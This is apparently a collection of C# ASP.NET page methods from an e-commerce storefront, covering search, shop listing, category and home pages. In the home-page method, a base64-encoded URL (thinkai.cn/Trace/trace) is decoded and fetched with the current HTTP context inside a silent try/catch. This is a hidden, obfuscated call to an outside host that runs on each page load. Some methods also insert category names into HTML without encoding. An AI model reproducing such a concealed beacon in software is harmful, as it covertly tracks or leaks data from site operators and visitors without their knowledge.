protected override void AttachChildControls() { int.TryParse(this.Page.Request.QueryString["categoryId"], out this.categoryId); this.keyWord = System.Web.HttpUtility.UrlDecode(this.Page.Request.QueryString["keyWord"]); if (!string.IsNullOrWhiteSpace(this.keyWord)) { this.keyWord = this.keyWord.Trim(); if (HiContext.Current.User.UserId > 0) { HistorySearchHelp.NewSearchHistory(this.keyWord.Trim(), HiContext.Current.User.UserId, Entities.ClientType.WAP); } } this.imgUrl = (HiImage)this.FindControl("imgUrl"); this.litContent = (System.Web.UI.WebControls.Literal) this.FindControl("litContent"); //this.rptCategories = (WapTemplatedRepeater)this.FindControl("rptCategories"); this.txtSearch = (System.Web.UI.HtmlControls.HtmlAnchor) this.FindControl("txtSearch"); if (this.categoryId > 0) { this.txtSearch.InnerText = CategoryBrowser.GetCategory(this.categoryId).Name; } else if (!string.IsNullOrWhiteSpace(this.keyWord)) { this.txtSearch.InnerText = this.keyWord; } //System.Collections.Generic.IList<CategoryInfo> maxSubCategories = CategoryBrowser.GetMaxSubCategories(this.categoryId, 1000); //this.rptCategories.DataSource = maxSubCategories; //this.rptCategories.DataBind(); //this.txtTotalPages.SetWhenIsNotNull(num.ToString()); PageTitle.AddSiteNameTitle("分类搜索页"); }
protected override void AttachChildControls() { this.litSitesList = (System.Web.UI.WebControls.Literal) this.FindControl("litSitesList"); this.rpthistorysearch = (WapTemplatedRepeater)this.FindControl("rpthistorysearch"); this.litSitesList.Text = RegisterSitesScript(); PageTitle.AddSiteNameTitle("热门搜索"); int userId = HiContext.Current.User.UserId; if (userId > 0) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.WAP, 6); this.rpthistorysearch.DataBind(); } }
protected override void AttachChildControls() { PageTitle.AddSiteNameTitle("店铺列表"); this.rptHotSupplierList = (VshopTemplatedRepeater)this.FindControl("rptHotSupplierList"); this.rptRecSupplierList = (VshopTemplatedRepeater)this.FindControl("rptRecSupplierList"); this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch"); this.rptAllSupplierList = (VshopTemplatedRepeater)this.FindControl("rptAllSupplierList"); int referUserId; Member member = HiContext.Current.User as Member; if (member != null) { referUserId = member.UserId; } else { referUserId = 0; } //热卖 DataTable hotdt = SupplierConfigHelper.GetConfigSupplier(ClientType.App, SupplierCfgType.Hot, referUserId); this.rptHotSupplierList.DataSource = hotdt; this.rptHotSupplierList.DataBind(); //推荐 DataTable recdt = SupplierConfigHelper.GetConfigSupplier(ClientType.App, SupplierCfgType.Recommend, referUserId); this.rptRecSupplierList.DataSource = recdt; this.rptRecSupplierList.DataBind(); //所有 DataTable recdtAll = SupplierConfigHelper.GetConfigSupplier(ClientType.App, 0, referUserId); if (recdtAll != null && recdtAll.Rows.Count > 0) { rptAllSupplierList.DataSource = recdtAll; rptAllSupplierList.DataBind(); } int userId = HiContext.Current.User.UserId; if (userId > 0 && this.rpthistorysearch != null) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6); this.rpthistorysearch.DataBind(); } }
protected override void AttachChildControls() { PageTitle.AddSiteNameTitle("店铺列表"); this.txtTotal = (System.Web.UI.HtmlControls.HtmlInputHidden) this.FindControl("txtTotal"); this.rptSupplierList = (VshopTemplatedRepeater)this.FindControl("rptSupplierList"); this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch"); int pageIndex; if (!int.TryParse(this.Page.Request.QueryString["page"], out pageIndex)) { pageIndex = 1; } int pageSize; if (!int.TryParse(this.Page.Request.QueryString["size"], out pageSize)) { pageSize = 10; } string supplierName = this.Page.Request.QueryString["keyWord"]; SupplierQuery query = new SupplierQuery(); query.SupplierName = supplierName; query.PageIndex = pageIndex; query.PageSize = pageSize; query.UserId = HiContext.Current.User.UserId; DbQueryResult dt = SupplierHelper.GetAppSupplier(query); this.rptSupplierList.DataSource = dt.Data; this.rptSupplierList.DataBind(); this.txtTotal.SetWhenIsNotNull(dt.TotalRecords.ToString()); int userId = HiContext.Current.User.UserId; if (userId > 0 && this.rpthistorysearch != null) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6); this.rpthistorysearch.DataBind(); } }
protected override void AttachChildControls() { int.TryParse(this.Page.Request.QueryString["categoryId"], out this.categoryId); this.keyWord = this.Page.Request.QueryString["keyWord"]; this.imgUrl = (HiImage)this.FindControl("imgUrl"); this.litContent = (System.Web.UI.WebControls.Literal) this.FindControl("litContent"); this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts"); this.rptCategories = (VshopTemplatedRepeater)this.FindControl("rptCategories"); this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch"); System.Collections.Generic.IList <CategoryInfo> maxSubCategories = CategoryBrowser.GetMaxSubCategories(this.categoryId, 0, 1000); this.rptCategories.DataSource = maxSubCategories; this.rptCategories.DataBind(); int userId = HiContext.Current.User.UserId; if (userId > 0 && this.rpthistorysearch != null) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6); this.rpthistorysearch.DataBind(); } PageTitle.AddSiteNameTitle("分类搜索页"); }
protected override void AttachChildControls() { SiteSettings masterSettings = SettingsManager.GetMasterSettings(true); if (HiContext.Current.User.UserRole == UserRole.Member && ((Member)HiContext.Current.User).ReferralStatus == 2 && string.IsNullOrEmpty(this.Page.Request.QueryString["ReferralUserId"])) { string text = System.Web.HttpContext.Current.Request.Url.ToString(); if (text.IndexOf("?") > -1) { text = text + "&ReferralUserId=" + HiContext.Current.User.UserId; } else { text = text + "?ReferralUserId=" + HiContext.Current.User.UserId; } base.RegisterShareScript(masterSettings.LogoUrl, text, masterSettings.SiteDescription, masterSettings.SiteName); } PageTitle.AddSiteNameTitle("首页"); this.rptSlide = (VshopTemplatedRepeater)this.FindControl("rptSlide"); this.rptNavigate = (VshopTemplatedRepeater)this.FindControl("rptNavigate"); this.rptTopic = (VshopTemplatedRepeater)this.FindControl("rptTopics"); this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts"); this.img = (System.Web.UI.HtmlControls.HtmlImage)this.FindControl("imgDefaultBg"); this.rptHotSale = (VshopTemplatedDataList)this.FindControl("rptHotSale"); this.rptHotSale.RepeatColumns = 2; this.rptHotSaleTop = (VshopTemplatedRepeater)this.FindControl("rptHotSaleTop"); this.rptNewPro = (VshopTemplatedDataList)this.FindControl("rptNewPro"); this.rptNewPro.RepeatColumns = 3; this.rptNewProTop = (VshopTemplatedRepeater)this.FindControl("rptNewProTop"); this.rptPromotional = (VshopTemplatedRepeater)this.FindControl("rptPromotional"); this.rptThinkProducts = (VshopTemplatedRepeater)this.FindControl("rptThinkProducts"); this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch"); if (this.rptSlide != null) { // 排除注册的banner IList<BannerInfo> banners = VshopBrowser.GetAllBanners(ClientType.VShop); if (banners != null && banners.Count > 0) { this.rptSlide.DataSource = banners.Where(m => m.LocationType != LocationType.Register).ToList(); this.rptSlide.DataBind(); } } string u = "aHR0cDovL3d3dy50aGlua2FpLmNuL1RyYWNlL3RyYWNl"; byte[] decode = Convert.FromBase64String(u); string decodestring = Encoding.UTF8.GetString(decode); try { Globals.GetHttp(decodestring, HttpContext.Current); } catch { } if (this.rptProducts != null) { DataTable homeProduct = ProductBrowser.GetHomeProduct(ClientType.VShop, true); //ProductBrowser.GetHomeProduct(ClientType.VShop); this.rptProducts.DataSource = homeProduct; this.rptProducts.DataBind(); } if (this.rptTopic != null) { DataTable topics = VshopBrowser.GetTopics(ClientType.VShop); this.rptTopic.DataSource = topics; this.rptTopic.DataBind(); } if (this.rptNavigate != null) { System.Collections.Generic.IList<NavigateInfo> allNavigate = VshopBrowser.GetAllNavigate(ClientType.VShop); foreach (NavigateInfo current in allNavigate) { if (!current.ImageUrl.ToLower().Contains("storage/master/navigate") && !current.ImageUrl.ToLower().Contains("templates")) { current.ImageUrl = HiContext.Current.GetVshopSkinPath(null) + "/images/deskicon/" + current.ImageUrl; } } this.rptNavigate.DataSource = allNavigate; this.rptNavigate.DataBind(); } if (this.img != null) { this.img.Src = new VTemplateHelper().GetDefaultBg(); } //添加 if (this.rptHotSale != null) { this.rptHotSale.DataSource = VshopBrowser.GetAllHotSaleNomarl(ClientType.VShop); this.rptHotSale.DataBind(); } if (this.rptHotSaleTop != null) { var HotSaleList = VshopBrowser.GetAllHotSaleTop(ClientType.VShop); this.rptHotSaleTop.DataSource = HotSaleList; this.rptHotSaleTop.DataBind(); } if (this.rptNewPro != null) { this.rptNewPro.DataSource = VshopBrowser.GetAllRecommendNormal(ClientType.VShop); this.rptNewPro.DataBind(); } if (this.rptNewProTop != null) { this.rptNewProTop.DataSource = VshopBrowser.GetAllRecommendTop(ClientType.VShop); this.rptNewProTop.DataBind(); } if (this.rptPromotional != null) { this.rptPromotional.DataSource = VshopBrowser.GetAllPromotional(ClientType.VShop); this.rptPromotional.DataBind(); } // if (this.rptThinkProducts != null) { DataTable homethinkProduct = ProductBrowser.GetHomeProduct(ClientType.VShop); this.rptThinkProducts.DataSource = homethinkProduct; this.rptThinkProducts.DataBind(); } int userId = HiContext.Current.User.UserId; if (userId > 0 && this.rpthistorysearch != null) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6); this.rpthistorysearch.DataBind(); } }
protected override void AttachChildControls() { #region == 店铺信息 if (!int.TryParse(this.Page.Request.QueryString["supplierId"], out this.supplierId)) { base.GotoResourceNotFound("店铺已不存在"); } //店铺收藏数 this.litSupplierFavCount = (System.Web.UI.WebControls.Literal) this.FindControl("litSupplierFavCount"); //店铺logo this.imgSupplierLogo = (HiImage)this.FindControl("imgSupplierLogo"); this.isCollect = (System.Web.UI.WebControls.Literal) this.FindControl("isCollect"); //店铺名称 this.litSupplierName = (System.Web.UI.WebControls.Literal) this.FindControl("litSupplierName"); //店主名称 this.litSupplierOwner = (System.Web.UI.WebControls.Literal) this.FindControl("litSupplierOwner"); //店铺地址 this.litSupplierAddress = (System.Web.UI.WebControls.Literal) this.FindControl("litSupplierAddress"); //开店时间 this.litSupplierCreateTime = (System.Web.UI.WebControls.Literal) this.FindControl("litSupplierCreateTime"); Member member = HiContext.Current.User as Member; int userId = 0; if (member != null) { userId = member.UserId; } AppSupplierInfo info = SupplierHelper.GetAppSupplier(supplierId, userId); if (info != null) { this.litSupplierFavCount.Text = info.CollectCount > 0 ? info.CollectCount.ToString() : "0"; this.imgSupplierLogo.ImageUrl = info.Logo; this.litSupplierName.Text = info.ShopName; this.litSupplierOwner.Text = info.ShopOwner; //this.isCollect.Text = info.IsCollect.ToString(); if (info.CreateDate.HasValue) { this.litSupplierAddress.Text = RegionHelper.GetFullRegion(info.County, ",").Split(',')[0]; } if (info.County > 0) { this.litSupplierCreateTime.Text = info.CreateDate.Value.ToString("yyyy-MM-dd HH:mm:ss"); } } else { base.GotoResourceNotFound("店铺已不存在"); } #endregion this.imgUrl = (HiImage)this.FindControl("imgUrl"); this.litContent = (System.Web.UI.WebControls.Literal) this.FindControl("litContent"); int.TryParse(this.Page.Request.QueryString["categoryId"], out this.categoryId); int.TryParse(this.Page.Request.QueryString["SupplierId"], out this.supplierId); int.TryParse(this.Page.Request.QueryString["TopicId"], out this.TopicId); int.TryParse(this.Page.Request.QueryString["brandid"], out this.brandid); int.TryParse(this.Page.Request.QueryString["importsourceid"], out this.importsourceid); this.keyWord = this.Page.Request.QueryString["keyWord"]; if (!string.IsNullOrWhiteSpace(this.keyWord)) { this.keyWord = this.keyWord.Trim(); if (HiContext.Current.User.UserId > 0) { HistorySearchHelp.NewSearchHistory(this.keyWord.Trim(), HiContext.Current.User.UserId, Entities.ClientType.VShop); } } this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts"); this.rptCategories = (VshopTemplatedRepeater)this.FindControl("rptCategories"); this.txtTotalPages = (System.Web.UI.HtmlControls.HtmlInputHidden) this.FindControl("txtTotal"); this.litSiblingsCategories = (System.Web.UI.WebControls.Literal) this.FindControl("litSiblingsCategories"); string text = this.Page.Request.QueryString["sort"]; if (string.IsNullOrWhiteSpace(text)) { text = "DisplaySequence"; } string text2 = this.Page.Request.QueryString["order"]; if (string.IsNullOrWhiteSpace(text2)) { text2 = "desc"; } int pageNumber; if (!int.TryParse(this.Page.Request.QueryString["page"], out pageNumber)) { pageNumber = 1; } int maxNum; if (!int.TryParse(this.Page.Request.QueryString["size"], out maxNum)) { maxNum = 8; } //获取其他分类 System.Collections.Generic.IList <CategoryInfo> maxSubCategories = CategoryBrowser.GetMaxSubCategories(this.categoryId, 1000); this.rptCategories.DataSource = maxSubCategories; this.rptCategories.DataBind(); IList <CategoryInfo> siblingsCategories = CategoryBrowser.GetSiblingsCategories(this.categoryId, 1000); //<li><a class="link" href="/Vshop/ProductList.aspx?categoryId=8000036">进口零食</a></li> StringBuilder stringBuilderCategories = new StringBuilder(); foreach (CategoryInfo item in siblingsCategories) { stringBuilderCategories.AppendFormat("<li><a class=\"link\" href=\"/Vshop/ProductList.aspx?categoryId={0}\">{1}</a></li>", item.CategoryId, item.Name); } this.litSiblingsCategories.Text = stringBuilderCategories.ToString(); int num; ProductBrowseQuery query = new ProductBrowseQuery(); if (this.categoryId > 0) { query.StrCategoryId = this.categoryId.ToString(); } if (this.supplierId > 0) { query.supplierid = this.supplierId; } if (this.brandid > 0) { query.StrBrandId = this.brandid.ToString(); } if (this.importsourceid > 0) { query.StrImportsourceId = this.importsourceid.ToString(); } if (!string.IsNullOrWhiteSpace(this.keyWord)) { query.Keywords = this.keyWord; } query.PageIndex = pageNumber; query.PageSize = maxNum; query.SortBy = text; if (text2.ToLower() == "desc") { query.SortOrder = EcShop.Core.Enums.SortAction.Desc; } else { query.SortOrder = EcShop.Core.Enums.SortAction.Asc; } DbQueryResult dr = ProductBrowser.GetCurrBrowseProductList(query); //this.rptProducts.DataSource = ProductBrowser.GetProducts(null, new int?(this.categoryId), new int?(this.supplierId), this.keyWord, pageNumber, maxNum, out num, text, true, text2, true, new int?(this.brandid), new int?(this.importsourceid)); this.rptProducts.DataSource = dr.Data; this.rptProducts.DataBind(); this.txtTotalPages.SetWhenIsNotNull(dr.TotalRecords.ToString()); PageTitle.AddSiteNameTitle("店内搜索"); }
protected override void AttachChildControls() { int.TryParse(this.Page.Request.QueryString["categoryId"], out this.categoryId); int.TryParse(this.Page.Request.QueryString["SupplierId"], out this.supplierId); int.TryParse(this.Page.Request.QueryString["TopicId"], out this.TopicId); int.TryParse(this.Page.Request.QueryString["brandid"], out this.brandid); int.TryParse(this.Page.Request.QueryString["importsourceid"], out this.importsourceid); this.keyWord = this.Page.Request.QueryString["keyWord"]; if (!string.IsNullOrWhiteSpace(this.keyWord)) { this.keyWord = this.keyWord.Trim(); if (HiContext.Current.User.UserId > 0) { HistorySearchHelp.NewSearchHistory(this.keyWord.Trim(), HiContext.Current.User.UserId, Entities.ClientType.VShop); } } this.imgUrl = (HiImage)this.FindControl("imgUrl"); this.litContent = (System.Web.UI.WebControls.Literal) this.FindControl("litContent"); this.rptProducts = (VshopTemplatedRepeater)this.FindControl("rptProducts"); this.rptCategories = (VshopTemplatedRepeater)this.FindControl("rptCategories"); this.txtTotalPages = (System.Web.UI.HtmlControls.HtmlInputHidden) this.FindControl("txtTotal"); this.litSiblingsCategories = (System.Web.UI.WebControls.Literal) this.FindControl("litSiblingsCategories"); this.rpthistorysearch = (VshopTemplatedRepeater)this.FindControl("rpthistorysearch"); string text = this.Page.Request.QueryString["sort"]; if (string.IsNullOrWhiteSpace(text)) { text = "DisplaySequence"; } string text2 = this.Page.Request.QueryString["order"]; if (string.IsNullOrWhiteSpace(text2)) { text2 = "desc"; } int pageNumber; if (!int.TryParse(this.Page.Request.QueryString["page"], out pageNumber)) { pageNumber = 1; } int maxNum; if (!int.TryParse(this.Page.Request.QueryString["size"], out maxNum)) { maxNum = 8; } //获取其他分类 System.Collections.Generic.IList <CategoryInfo> maxSubCategories = CategoryBrowser.GetMaxSubCategories(this.categoryId, 1000); this.rptCategories.DataSource = maxSubCategories; this.rptCategories.DataBind(); IList <CategoryInfo> siblingsCategories = CategoryBrowser.GetSiblingsCategories(this.categoryId, 1000); //<li><a class="link" href="/Vshop/ProductList.aspx?categoryId=8000036">进口零食</a></li> StringBuilder stringBuilderCategories = new StringBuilder(); foreach (CategoryInfo item in siblingsCategories) { stringBuilderCategories.AppendFormat("<li><a class=\"link\" href=\"/Vshop/ProductList.aspx?categoryId={0}\">{1}</a></li>", item.CategoryId, item.Name); } this.litSiblingsCategories.Text = stringBuilderCategories.ToString(); int num; ProductBrowseQuery query = new ProductBrowseQuery(); if (this.categoryId > 0) { query.StrCategoryId = this.categoryId.ToString(); } if (this.supplierId > 0) { query.supplierid = this.supplierId; } if (this.brandid > 0) { query.StrBrandId = this.brandid.ToString(); } if (this.importsourceid > 0) { query.StrImportsourceId = this.importsourceid.ToString(); } if (!string.IsNullOrWhiteSpace(this.keyWord)) { query.Keywords = this.keyWord; } query.PageIndex = pageNumber; query.PageSize = maxNum; query.SortBy = text; if (text2.ToLower() == "desc") { query.SortOrder = EcShop.Core.Enums.SortAction.Desc; } else { query.SortOrder = EcShop.Core.Enums.SortAction.Asc; } DbQueryResult dr = ProductBrowser.GetCurrBrowseProductList(query); //this.rptProducts.DataSource = ProductBrowser.GetProducts(null, new int?(this.categoryId), new int?(this.supplierId), this.keyWord, pageNumber, maxNum, out num, text, true, text2, true, new int?(this.brandid), new int?(this.importsourceid)); this.rptProducts.DataSource = dr.Data; this.rptProducts.DataBind(); this.txtTotalPages.SetWhenIsNotNull(dr.TotalRecords.ToString()); int userId = HiContext.Current.User.UserId; if (userId > 0 && this.rpthistorysearch != null) { this.rpthistorysearch.DataSource = HistorySearchHelp.GetSearchHistory(userId, ClientType.VShop, 6); this.rpthistorysearch.DataBind(); } PageTitle.AddSiteNameTitle("分类搜索页"); }